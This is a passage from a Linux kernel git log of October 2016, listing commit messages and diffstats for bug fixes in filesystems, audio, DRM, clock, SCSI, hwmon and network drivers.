fs/ceph/super.c: In function ‘ceph_real_mount’: fs/ceph/super.c:818: warning: ‘root’ may be used uninitialized in this function If s_root is already valid, dentry pointer root is never initialized, and returned by ceph_real_mount(). This will cause a crash later when the caller dereferences the pointer. Fixes: ce2728aaa82bbeba ("ceph: avoid accessing / when mounting a subpath") Signed-off-by: Geert Uytterhoeven Signed-off-by: Yan, Zheng fs/ceph/super.c | 2 ++ 1 file changed, 2 insertions(+) commit f72f94555aa32b2c4374dde5ad9b960cc4ff32e2 Author: Yan, Zheng Date: Wed Oct 12 14:48:28 2016 +0800 ceph: fix readdir vs fragmentation race following sequence of events tigger the race - client readdir frag 0* -> got item 'A' - MDS merges frag 0* and frag 1* - client send readdir request (frag 1*, offset 2, readdir_start 'A') - MDS reply items (that are after item 'A') in frag * Link: http://tracker.ceph.com/issues/17286 Signed-off-by: Yan, Zheng fs/ceph/inode.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f771d5bb71d4df9573d12386400540516672208b Author: Hui Wang Date: Tue Oct 18 10:59:09 2016 +0800 ALSA: hda - Adding a new group of pin cfg into ALC295 pin quirk table We have a new Dell laptop model which uses ALC295, the pin definition is different from the existing ones in the pin quirk table, to fix the headset mic detection and mic mute led's problem, we need to add the new pin defintion into the pin quirk table. Cc: stable@vger.kernel.org Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit e952813e210b3addaea063da64ef68c3f30c0aa2 Author: Arnd Bergmann Date: Tue Oct 18 00:05:34 2016 +0200 ext2: avoid bogus -Wmaybe-uninitialized warning On ARM, we get this false-positive warning since the rework of the ext2_get_blocks interface: fs/ext2/inode.c: In function 'ext2_get_block': include/linux/buffer_head.h:340:16: error: 'bno' may be used uninitialized in this function [-Werror=maybe-uninitialized] The calling conventions for this function are rather complex, and it's not surprising that the compiler gets this wrong, I spent a long time trying to understand how it all fits together myself. This change to avoid the warning makes sure the compiler sees that we always set 'bno' pointer whenever we have a positive return code. The transformation is correct because we always arrive at the 'got_it' label with a positive count that gets used as the return value, while any branch to the 'cleanup' label has a negative or zero 'err'. Fixes: 6750ad71986d ("ext2: stop passing buffer_head to ext2_get_blocks") Signed-off-by: Arnd Bergmann Reviewed-by: Christoph Hellwig Cc: Dave Chinner Signed-off-by: Jan Kara fs/ext2/inode.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit a2ed0b391dd9c3ef1d64c7c3e370f4a5ffcd324a Author: Jan Kara Date: Tue Oct 4 13:44:06 2016 +0200 isofs: Do not return EACCES for unknown filesystems When isofs_mount() is called to mount a device read-write, it returns EACCES even before it checks that the device actually contains an isofs filesystem. This may confuse mount(8) which then tries to mount all subsequent filesystem types in read-only mode. Fix the problem by returning EACCES only once we verify that the device indeed contains an iso9660 filesystem. CC: stable@vger.kernel.org Fixes: 17b7f7cf58926844e1dd40f5eb5348d481deca6a Reported-by: Kent Overstreet Reported-by: Karel Zak Signed-off-by: Jan Kara fs/isofs/inode.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 3ab7511eafdd5c4f40d2832f09554478dfbea170 Author: Ard Biesheuvel Date: Mon Oct 17 17:23:59 2016 +0100 ALSA: hda - allow 40 bit DMA mask for NVidia devices Commit 49d9e77e72cf ("ALSA: hda - Fix system panic when DMA > 40 bits for Nvidia audio controllers") simply disabled any DMA exceeding 32 bits for NVidia devices, even though they are capable of performing DMA up to 40 bits. On some architectures (such as arm64), system memory is not guaranteed to be 32-bit addressable by PCI devices, and so this change prevents NVidia devices from working on platforms such as AMD Seattle. Since the original commit already mentioned that up to 40 bits of DMA is supported, and given that the code has been updated in the meantime to support a 40 bit DMA mask on other devices, revert commit 49d9e77e72cf and explicitly set the DMA mask to 40 bits for NVidia devices. Fixes: 49d9e77e72cf ('ALSA: hda - Fix system panic when DMA > 40 bits...') Signed-off-by: Ard Biesheuvel Cc: Signed-off-by: Takashi Iwai sound/pci/hda/hda_intel.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit e73aca5184ad9fc948ba22b4d35dce11db35bb25 Author: Liu Ying Date: Tue Oct 18 16:44:03 2016 +0800 drm/imx: ipuv3-plane: Access old u/vbo properly in ->atomic_check for YU12/YV12 Before accessing the u/v offset(aka, u/vbo for IPUv3) of the old plane state's relevant fb, we should make sure the fb is in YU12 or YV12 pixel format(which are the two YUV pixel formats we support only), otherwise, we are likely to trigger BUG_ON() in drm_plane_state_to_u/vbo() since the fb's pixel format is probably not YU12 or YV12. Link: https://bugs.freedesktop.org/show_bug.cgi?id=98150 Fixes: c6c1f9bc798b ("drm/imx: Add active plane reconfiguration support") Cc: stable@vger.kernel.org # 4.8 Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-plane.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 8cca354816adacb91280e19c50f81ffddc0460a4 Author: Dan Carpenter Date: Thu Oct 13 11:53:21 2016 +0300 drm/imx: drm_dev_alloc() returns error pointers We are checking for NULL here, when we should be checking for error pointers. Fixes: 54db5decce17 ("drm/imx: drop deprecated load/unload drm_driver ops") Signed-off-by: Dan Carpenter Reviewed-by: Lucas Stach Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/imx-drm-core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 81d553545a1510ff7c7c00cbc9b57d6172d411a4 Author: Liu Ying Date: Mon Oct 10 14:50:07 2016 +0800 drm/imx: ipuv3-plane: Skip setting u/vbo only when we don't need modeset We added active plane reconfiguration support by forcing a full modeset operation. So, looking at old_plane_state->fb to determine whether we need to set u/v offset(aka, u/vbo for IPUv3) in ipu_plane_atomic_set_base() or not is no more correct. Instead, we should do that only when we don't need modeset. Fixes: c6c1f9bc798b ("drm/imx: Add active plane reconfiguration support") Cc: stable@vger.kernel.org # 4.8 Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-plane.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 43daa01323da37a3692cabe1579ef5c2c4372e06 Author: Liu Ying Date: Mon Oct 10 14:50:06 2016 +0800 drm/imx: ipuv3-plane: Switch EBA buffer only when we don't need modeset We added active plane reconfiguration support by forcing a full modeset operation. So, looking at old_plane_state->fb to determine whether we need to switch EBA buffer(for hardware double buffering) in ipu_plane_atomic_set_base() or not is no more correct. Instead, we should do that only when we don't need modeset, otherwise, we initialize the two EBA buffers with the buffer address. Fixes: c6c1f9bc798b ("drm/imx: Add active plane reconfiguration support") Cc: stable@vger.kernel.org # 4.8 Signed-off-by: Liu Ying Signed-off-by: Philipp Zabel drivers/gpu/drm/imx/ipuv3-plane.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit d3397484bb5b8534289a630c1a78500ff4f2fbf4 Author: Shawn Guo Date: Sat Oct 8 21:38:12 2016 +0800 clk: hi6220: use CLK_OF_DECLARE_DRIVER for sysctrl and mediactrl clock init The hi6220-sysctrl and hi6220-mediactrl are not only clock provider but also reset controller. It worked fine that single sysctrl/mediactrl device node in DT can be used to initialize clock driver and populate platform device for reset controller. But it stops working after commit 989eafd0b609 ("clk: core: Avoid double initialization of clocks") gets merged. The commit sets flag OF_POPULATED during clock initialization to skip the platform device populating for the same device node. On hi6220, it effectively makes hi6220-sysctrl reset driver not probe any more. The patch changes hi6220 sysctrl and mediactrl clock init macro from CLK_OF_DECLARE to CLK_OF_DECLARE_DRIVER, so that the reset driver using the same hardware block can continue working. Signed-off-by: Shawn Guo Tested-by: John Stultz Signed-off-by: Stephen Boyd drivers/clk/hisilicon/clk-hi6220.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4aa6c99d31c0cc471b7f243f5d314391a1abcaf3 Author: Gregory CLEMENT Date: Fri Sep 30 10:33:59 2016 +0200 clk: mvebu: armada-37xx-periph: Fix the clock gate flag For the gate part of the peripheral clock setting the bit disables the clock and clearing it enables the clock. This is not the default behavior of clk_gate component, so we need to use the CLK_GATE_SET_TO_DISABLE flag. Signed-off-by: Gregory CLEMENT Fixes: 8ca4746a78ab ("clk: mvebu: Add the peripheral clock driver for Armada 3700") Signed-off-by: Stephen Boyd drivers/clk/mvebu/armada-37xx-periph.c | 1 + 1 file changed, 1 insertion(+) commit c4e634ce412d97f0e61223b2a5b3f8f9600cd4dc Author: Eric Anholt Date: Fri Sep 30 10:07:27 2016 -0700 clk: bcm2835: Clamp the PLL's requested rate to the hardware limits. Fixes setting low-resolution video modes on HDMI. Now the PLLH_PIX divider adjusts itself until the PLLH is within bounds. Signed-off-by: Eric Anholt Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-bcm2835.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit 1c7032258d568f9a7aeb4c541786699d9a219a2a Author: Javier Martinez Canillas Date: Thu Oct 6 11:59:59 2016 -0300 clk: max77686: fix number of clocks setup for clk_hw based registration The commit 9b4cac33adc7 ("clk: max77686: Migrate to clk_hw based OF and registration APIs") converted the driver to use the new provider API to register clocks using clk_hw. But unfortunately, in the conversion it missed to set the num_clks value which lead to the following error when trying to register a clk provider: [ 1.963782] of_clk_max77686_get: invalid index 0 [ 1.967460] ERROR: could not get clock /rtc@10070000:rtc_src(1) [ 1.973638] s3c-rtc 10070000.rtc: failed to find rtc source clock Fix it by correctly set the max77686_clk_driver_data num_clks member. Fixes: 9b4cac33adc7 ("clk: max77686: Migrate to clk_hw based OF and registration APIs") Reported-by: Markus Reichl Suggested-by: Tobias Jakobi Signed-off-by: Javier Martinez Canillas Tested-by: Markus Reichl Reviewed-by: Chanwoo Choi Reviewed-by: Krzysztof Kozlowski Signed-off-by: Stephen Boyd drivers/clk/clk-max77686.c | 1 + 1 file changed, 1 insertion(+) commit 981e1bea55e56abdb16505502e4a69ff868e87d3 Author: Gregory CLEMENT Date: Thu Sep 29 16:28:55 2016 +0200 clk: mvebu: armada-37xx-periph: Fix the clock provider registration While trying using a peripheral clock on a driver, I saw that the clock pointer returned by the provider was NULL. The problem was a missing indirection. It was the pointer stored in the hws array which needed to be updated not the value it contains. Signed-off-by: Gregory CLEMENT Fixes: 8ca4746a78ab ("clk: mvebu: Add the peripheral clock driver for Armada 3700") Signed-off-by: Stephen Boyd drivers/clk/mvebu/armada-37xx-periph.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 339e1e54891c339b30023c9cc8a005cbf65a3c0c Author: Shawn Guo Date: Sat Oct 8 16:59:38 2016 +0800 clk: core: add __init decoration for CLK_OF_DECLARE_DRIVER function The new introduced macro CLK_OF_DECLARE_DRIVER is usually used to declare clock driver init functions, which are mostly decorated with __init. Add __init decoration for CLK_OF_DECLARE_DRIVER function to avoid causing section mismatch warnings on client clock drivers. Signed-off-by: Shawn Guo Fixes: c7296c51ce5d ("clk: core: New macro CLK_OF_DECLARE_DRIVER") Signed-off-by: Stephen Boyd include/linux/clk-provider.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 234d511d8c158d62f73f1a818eb4dd494a13a6e3 Author: Jean Delvare Date: Fri Oct 14 14:44:13 2016 +0200 clk: mediatek: Add hardware dependency Only propose the mediatek clock drivers on this platform, unless build-testing. Signed-off-by: Jean Delvare Cc: Shunli Wang Cc: James Liao Cc: Erin Lo Cc: Matthias Brugger Cc: Michael Turquette Reviewed-by: Matthias Brugger Signed-off-by: Stephen Boyd drivers/clk/mediatek/Kconfig | 2 ++ 1 file changed, 2 insertions(+) commit 34b89b2967f284937be6759936ef3dc4d3aff2d0 Author: Javier Martinez Canillas Date: Sun Oct 16 10:45:07 2016 -0300 clk: samsung: clk-exynos-audss: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/clk/samsung/clk-exynos-audss.ko | grep alias alias: platform:exynos-audss-clk After this patch: $ modinfo drivers/clk/samsung/clk-exynos-audss.ko | grep alias alias: platform:exynos-audss-clk alias: of:N*T*Csamsung,exynos5420-audss-clockC* alias: of:N*T*Csamsung,exynos5420-audss-clock alias: of:N*T*Csamsung,exynos5410-audss-clockC* alias: of:N*T*Csamsung,exynos5410-audss-clock alias: of:N*T*Csamsung,exynos5250-audss-clockC* alias: of:N*T*Csamsung,exynos5250-audss-clock alias: of:N*T*Csamsung,exynos4210-audss-clockC* alias: of:N*T*Csamsung,exynos4210-audss-clock Fixes: 4d252fd5719b ("clk: samsung: Allow modular build of the Audio Subsystem CLKCON driver") Signed-off-by: Javier Martinez Canillas Reviewed-by: Krzysztof Kozlowski Tested-by: Krzysztof Kozlowski Signed-off-by: Stephen Boyd drivers/clk/samsung/clk-exynos-audss.c | 1 + 1 file changed, 1 insertion(+) commit c0ce317f0c8863d309e7cfb6f6c0fe86e38c6d86 Author: Masahiro Yamada Date: Mon Oct 17 00:25:55 2016 +0900 clk: uniphier: fix type of variable passed to regmap_read() The 3rd argument of regmap_read() takes a pointer to unsigned int. This driver is saved just because u32 happens to be typedef'ed as unsigned int, but we should not rely on that fact. Change the variable type just in case. Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd drivers/clk/uniphier/clk-uniphier-mux.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8236d9ac4cf2e51e4355c411612cfbaec8d31942 Author: Masahiro Yamada Date: Mon Oct 17 00:11:14 2016 +0900 clk: uniphier: add system clock support for sLD3 SoC I do not know why, but I missed to add this compatible string in the initial commit of this driver. Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd drivers/clk/uniphier/clk-uniphier-core.c | 4 ++++ 1 file changed, 4 insertions(+) commit 2723605169d8f58ebc2881d2b8a59e6ee6fe074a Author: Scott Branden Date: Sat Oct 8 13:41:04 2016 -0700 ARM: multi_v7_defconfig: Enable Intel e1000e driver Enable support for the Intel e1000e driver Signed-off-by: Ray Jui Signed-off-by: Scott Branden Signed-off-by: Olof Johansson arch/arm/configs/multi_v7_defconfig | 1 + 1 file changed, 1 insertion(+) commit 70e1a28fe1e3fe1bddcb09e8eee25d8be1610b49 Author: Jisheng Zhang Date: Thu Sep 29 18:51:20 2016 +0800 MAINTAINERS: add myself as Marvell berlin SoC maintainer I would like to take maintainership for Marvell berlin SoCs. Signed-off-by: Jisheng Zhang Acked-by: Sebastian Hesselbarth Signed-off-by: Olof Johansson MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 14155cafeadda946376260e2ad5d39a0528a332f Author: Junjie Mao Date: Mon Oct 17 09:20:25 2016 +0800 btrfs: assign error values to the correct bio structs Fixes: 4246a0b63bd8 ("block: add a bi_error field to struct bio") Signed-off-by: Junjie Mao Acked-by: David Sterba Cc: stable@vger.kernel.org # 4.3+ Signed-off-by: Linus Torvalds fs/btrfs/compression.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit eac0ca77e42f0bed4d36c76c8fc056321441c569 Author: Dave Hansen Date: Mon Oct 17 13:57:09 2016 -0700 x86, pkeys: remove cruft from never-merged syscalls pkey_set() and pkey_get() were syscalls present in older versions of the protection keys patches. The syscall number definitions were inadvertently left in place. This patch removes them. I did a git grep and verified that these are the last places in the tree that these appear, save for the protection_keys.c tests and Documentation. Those spots talk about functions called pkey_get/set() which are wrappers for the direct PKRU instructions, not the syscalls. Signed-off-by: Dave Hansen Cc: Thomas Gleixner Cc: linux-arch@vger.kernel.org Cc: mgorman@techsingularity.net Cc: arnd@arndb.de Cc: linux-api@vger.kernel.org Cc: linux-mm@kvack.org Cc: luto@kernel.org Cc: akpm@linux-foundation.org Fixes: f9afc6197e9bb ("x86: Wire up protection keys system calls") Signed-off-by: Linus Torvalds arch/x86/entry/syscalls/syscall_32.tbl | 2 -- arch/x86/entry/syscalls/syscall_64.tbl | 2 -- 2 files changed, 4 deletions(-) commit 5fac7e8405a951f536dfcea09c6f6adb904a08a8 Author: Linus Walleij Date: Tue Oct 4 13:56:19 2016 +0200 bus: qcom-ebi2: depend on ARCH_QCOM or COMPILE_TEST This hides the option for people who do not want their Kconfig vision cluttered (i.e. x86) and enables compile testing apart from the supported main arch. Cc: Stephen Boyd Cc: Arnd Bergmann Signed-off-by: Linus Walleij Signed-off-by: Olof Johansson drivers/bus/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 1b283eea6228880b765bc40fe4e555416437ce58 Author: Linus Walleij Date: Fri Oct 7 10:52:17 2016 +0200 ARM: dts: fix the SD card on the Snowball This fixes a very annoying regression on the Snowball SD card that has been around for a while. It turns out that the device tree does not configure the direction pins properly, nor sets up the pins for the voltage converter properly at boot. Unless all things are correctly set up, the feedback clock will not work, and makes the driver spew messages in the console (but it works, very slowly): root@Ux500:/ mount /dev/mmcblk0p2 /mnt/ [ 9.953460] mmci-pl18x 80126000.sdi0_per1: error during DMA transfer! [ 9.960296] mmcblk0: error -110 sending status command, retrying [ 9.966461] mmcblk0: error -110 sending status command, retrying [ 9.972534] mmcblk0: error -110 sending status command, aborting Fix this by rectifying the device tree to correspond to that of the Ux500 HREF boards plus the DAT31DIR setting that is unique for the Snowball, and things start working smoothly. Add in the SDR12 and SDR25 modes which this host can do without any problems. I don't know if this has ever been correct, sadly. It works after this patch. Cc: stable@vger.kernel.org Reported-by: Daniel Lezcano Cc: Ulf Hansson Signed-off-by: Linus Walleij Signed-off-by: Olof Johansson arch/arm/boot/dts/ste-snowball.dts | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit 5c85b8722c839b214857ea0627401b82aa2bcf72 Merge: 1001354 51227bf Author: Olof Johansson Date: Mon Oct 17 13:44:03 2016 -0700 Merge tag 'mvebu-fixes-4.8-3' of git://git.infradead.org/linux-mvebu into fixes mvebu fixes for 4.8 (part 3) - Select corediv clk for all mvebu v7 SoC - Fix clocksource for CP110 master SPI0 for Armada 7K/8K * tag 'mvebu-fixes-4.8-3' of git://git.infradead.org/linux-mvebu: arm64: dts: marvell: fix clocksource for CP110 master SPI0 ARM: mvebu: Select corediv clk for all mvebu v7 SoC Signed-off-by: Olof Johansson commit b052b07c39d593c9954a84d5bbe1563999483f38 Author: Heinz Mauelshagen Date: Mon Oct 17 21:20:07 2016 +0200 dm raid: fix activation of existing raid4/10 devices dm-raid 1.9.0 fails to activate existing RAID4/10 devices that have the old superblock format (which does not have takeover/reshaping support that was added via commit 33e53f06850f). Fix validation path for old superblocks by reverting to the old raid4 layout and basing checks on mddev->new_{level,layout,...} members in super_init_validation(). Cc: stable@vger.kernel.org # 4.8 Signed-off-by: Heinz Mauelshagen Signed-off-by: Mike Snitzer Documentation/device-mapper/dm-raid.txt | 1 + drivers/md/dm-raid.c | 12 +++++++----- 2 files changed, 8 insertions(+), 5 deletions(-) commit 91cb163e4d141c74e99639fbee7c2a6332c92901 Author: Will Deacon Date: Mon Oct 17 13:38:14 2016 +0100 arm64: sysreg: Fix use of XZR in write_sysreg_s Commit 8a71f0c656e0 ("arm64: sysreg: replace open-coded mrs_s/msr_s with {read,write}_sysreg_s") introduced a write_sysreg_s macro for writing to system registers that are not supported by binutils. Unfortunately, this was implemented with the wrong template (%0 vs %x0), so in the case that we are writing a constant 0, we will generate invalid instruction syntax and bail with a cryptic assembler error: | Error: constant expression required This patch fixes the template. Acked-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/include/asm/sysreg.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 77f18a87186a87cab2a027335758a7244896084c Author: Arnd Bergmann Date: Tue Oct 11 11:23:23 2016 +0200 scsi: NCR5380: no longer mark irq probing as __init The g_NCR5380 has been converted to more regular probing, which means its probe function can now be invoked after the __init section is discarded, as pointed out by this kbuild warning: WARNING: drivers/scsi/built-in.o(.text+0x3a105): Section mismatch in reference from the function generic_NCR5380_isa_match() to the function .init.text:probe_intr() WARNING: drivers/scsi/built-in.o(.text+0x3a145): Section mismatch in reference from the function generic_NCR5380_isa_match() to the variable .init.data:probe_irq To make sure this works correctly in all cases, let's remove the __init and __initdata annotations. Fixes: a8cfbcaec0c1 ("scsi: g_NCR5380: Stop using scsi_module.c") Signed-off-by: Arnd Bergmann Acked-by: Finn Thain Signed-off-by: Martin K. Petersen drivers/scsi/NCR5380.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7d2c0d643244311d0ce04fde373cd371ad1f1cad Author: Jitendra Bhivare Date: Thu Oct 13 12:08:49 2016 +0530 scsi: be2iscsi: Replace _bh with _irqsave/irqrestore [ 3843.132217] WARNING: CPU: 20 PID: 1227 at kernel/softirq.c:150 __local_bh_enable_ip+0x6b/0x90 [ 3843.142815] Modules linked in: ... [ 3843.294328] CPU: 20 PID: 1227 Comm: kworker/20:1H Tainted: G E 4.8.0-rc1+ #3 [ 3843.304944] Hardware name: Dell Inc. PowerEdge R720/0X6H47, BIOS 1.4.8 10/25/2012 [ 3843.314798] Workqueue: kblockd blk_timeout_work [ 3843.321350] 0000000000000086 00000000a32f4533 ffff8802216d7bd8 ffffffff8135c3cf [ 3843.331146] 0000000000000000 0000000000000000 ffff8802216d7c18 ffffffff8108d661 [ 3843.340918] 00000096216d7c50 0000000000000200 ffff8802d07cc828 ffff8801b3632550 [ 3843.350687] Call Trace: [ 3843.354866] [] dump_stack+0x63/0x84 [ 3843.362061] [] __warn+0xd1/0xf0 [ 3843.368851] [] warn_slowpath_null+0x1d/0x20 [ 3843.376791] [] __local_bh_enable_ip+0x6b/0x90 [ 3843.384903] [] _raw_spin_unlock_bh+0x1e/0x20 [ 3843.392940] [] beiscsi_alloc_pdu+0x2f0/0x6e0 [be2iscsi] [ 3843.402076] [] __iscsi_conn_send_pdu+0xf8/0x370 [libiscsi] [ 3843.411549] [] iscsi_send_nopout+0xbe/0x110 [libiscsi] [ 3843.420639] [] iscsi_eh_cmd_timed_out+0x29b/0x2b0 [libiscsi] [ 3843.430339] [] scsi_times_out+0x5e/0x250 [ 3843.438119] [] blk_rq_timed_out+0x1f/0x60 [ 3843.446009] [] blk_timeout_work+0xad/0x150 [ 3843.454010] [] process_one_work+0x152/0x400 [ 3843.462114] [] worker_thread+0x125/0x4b0 [ 3843.469961] [] ? rescuer_thread+0x380/0x380 [ 3843.478116] [] kthread+0xd8/0xf0 [ 3843.485212] [] ret_from_fork+0x1f/0x40 [ 3843.492908] [] ? kthread_park+0x60/0x60 [ 3843.500715] ---[ end trace 57ec0a1d8f0dd3a0 ]--- [ 3852.328667] NMI watchdog: Watchdog detected hard LOCKUP on cpu 1Kernel panic - not syncing: Hard LOCKUP blk_timeout_work takes queue_lock spin_lock with interrupts disabled before invoking iscsi_eh_cmd_timed_out. This causes a WARN_ON_ONCE in spin_unlock_bh for wrb_lock/io_sgl_lock/mgmt_sgl_lock. CPU was kept busy in lot of bottom half work with interrupts disabled thus causing hard lock up. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Reviewed-by: Chris Leech Signed-off-by: Martin K. Petersen drivers/scsi/be2iscsi/be_main.c | 37 +++++++++++++++++++++++-------------- 1 file changed, 23 insertions(+), 14 deletions(-) commit 4fa507992f0a1063d7326abaf705f9408548349e Author: Jitendra Bhivare Date: Thu Oct 13 12:08:48 2016 +0530 scsi: libiscsi: Fix locking in __iscsi_conn_send_pdu The code at free_task label in __iscsi_conn_send_pdu can get executed from blk_timeout_work which takes queue_lock using spin_lock_irq. back_lock taken with spin_unlock_bh will cause WARN_ON_ONCE. The code gets executed either with bottom half or IRQ disabled hence using spin_lock/spin_unlock for back_lock is safe. Signed-off-by: Jitendra Bhivare Reviewed-by: Hannes Reinecke Reviewed-by: Chris Leech Signed-off-by: Martin K. Petersen drivers/scsi/libiscsi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 94cdc5608b5561aeda80edda9c9223608a1da6fc Author: Dan Carpenter Date: Wed Oct 12 09:24:52 2016 +0300 hwmon: (max31790) potential ERR_PTR dereference We should only dereference "data" after we check if it is an error pointer. Fixes: 54187ff9d766 ('hwmon: (max31790) Convert to use new hwmon registration API') Signed-off-by: Dan Carpenter Signed-off-by: Guenter Roeck drivers/hwmon/max31790.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 667f4bab81ea8357d260aa14bb6fb1a4834248d5 Author: Chris Packham Date: Wed Oct 5 10:40:54 2016 +1300 hwmon: (adm9240) handle temperature readings below 0 Unlike the temperature thresholds the temperature data is a 9-bit signed value. This allows and additional 0.5 degrees of precision on the reading but makes handling negative values slightly harder. In order to have sign-extension applied correctly the 9-bit value is stored in the upper bits of a signed 16-bit value. When presenting this in sysfs the value is shifted and scaled appropriately. Signed-off-by: Chris Packham Signed-off-by: Guenter Roeck drivers/hwmon/adm9240.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3dfcb4f56f35663bdf0629d066bfde665b1ddff9 Merge: 67b11e2 0822b43 Author: David S. Miller Date: Mon Oct 17 13:03:04 2016 -0400 Merge branch 'net-driver-autoload' Javier Martinez Canillas says: ==================== net: Fix module autoload for several platform drivers I noticed that module autoload won't be working in a bunch of platform drivers in the net subsystem and this patch series contains the fixes. ==================== Signed-off-by: David S. Miller commit 0822b43e4f08af3619a5dbf59f5036872c3ea323 Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:46 2016 -0300 net: dsa: bcm_sf2: Fix module autoload for OF registration If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/net/dsa/bcm_sf2.ko | grep alias alias: platform:brcm-sf2 After this patch: $ modinfo drivers/net/dsa/bcm_sf2.ko | grep alias alias: platform:brcm-sf2 alias: of:N*T*Cbrcm,bcm7445-switch-v4.0C* alias: of:N*T*Cbrcm,bcm7445-switch-v4.0 Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/dsa/bcm_sf2.c | 1 + 1 file changed, 1 insertion(+) commit 03eaae52537f4bbe2e565535f2aa38d80f92e994 Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:45 2016 -0300 net: dsa: b53: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/net/dsa/b53/b53_mmap.ko | grep alias $ After this patch: $ modinfo drivers/net/dsa/b53/b53_mmap.ko | grep alias alias: of:N*T*Cbrcm,bcm63xx-switchC* alias: of:N*T*Cbrcm,bcm63xx-switch alias: of:N*T*Cbrcm,bcm6368-switchC* alias: of:N*T*Cbrcm,bcm6368-switch alias: of:N*T*Cbrcm,bcm6328-switchC* alias: of:N*T*Cbrcm,bcm6328-switch alias: of:N*T*Cbrcm,bcm3384-switchC* alias: of:N*T*Cbrcm,bcm3384-switch Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/dsa/b53/b53_mmap.c | 1 + 1 file changed, 1 insertion(+) commit af40097e3eafc97f6f856c085360a0e696e1f319 Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:44 2016 -0300 net: hisilicon: Fix hns_mdio module autoload for OF registration If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/net/ethernet/hisilicon//hns_mdio.ko | grep alias alias: platform:Hi-HNS_MDIO alias: acpi*:HISI0141:* After this patch: $ modinfo drivers/net/ethernet/hisilicon//hns_mdio.ko | grep alias alias: platform:Hi-HNS_MDIO alias: of:N*T*Chisilicon,hns-mdioC* alias: of:N*T*Chisilicon,hns-mdio alias: of:N*T*Chisilicon,mdioC* alias: of:N*T*Chisilicon,mdio alias: acpi*:HISI0141:* Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller drivers/net/ethernet/hisilicon/hns_mdio.c | 1 + 1 file changed, 1 insertion(+) commit 7097268509a7d6756d14ab422af7446f9bf53221 Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:43 2016 -0300 net: qcom/emac: Fix module autoload for OF registration If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/net/ethernet/qualcomm/emac/qcom-emac.ko | grep alias alias: platform:qcom-emac After this patch: $ modinfo drivers/net/ethernet/qualcomm/emac/qcom-emac.ko | grep alias alias: platform:qcom-emac alias: of:N*T*Cqcom,fsm9900-emacC* alias: of:N*T*Cqcom,fsm9900-emac Signed-off-by: Javier Martinez Canillas Acked-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac.c | 1 + 1 file changed, 1 insertion(+) commit a7deb924d33b5688b11e34e84c88f2591f933e3a Author: Javier Martinez Canillas Date: Mon Oct 17 11:05:42 2016 -0300 net: hns: Fix hns_dsaf module autoload for OF registration If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/net/ethernet/hisilicon/hns/hns_dsaf.ko | grep alias alias: acpi*:HISI00B2:* alias: acpi*:HISI00B1:* After this patch: $ modinfo drivers/net/ethernet/hisilicon/hns/hns_dsaf.ko | grep alias alias: acpi*:HISI00B2:* alias: acpi*:HISI00B1:* alias: of:N*T*Chisilicon,hns-dsaf-v2C* alias: of:N*T*Chisilicon,hns-dsaf-v2 alias: of:N*T*Chisilicon,hns-dsaf-v1C* alias: 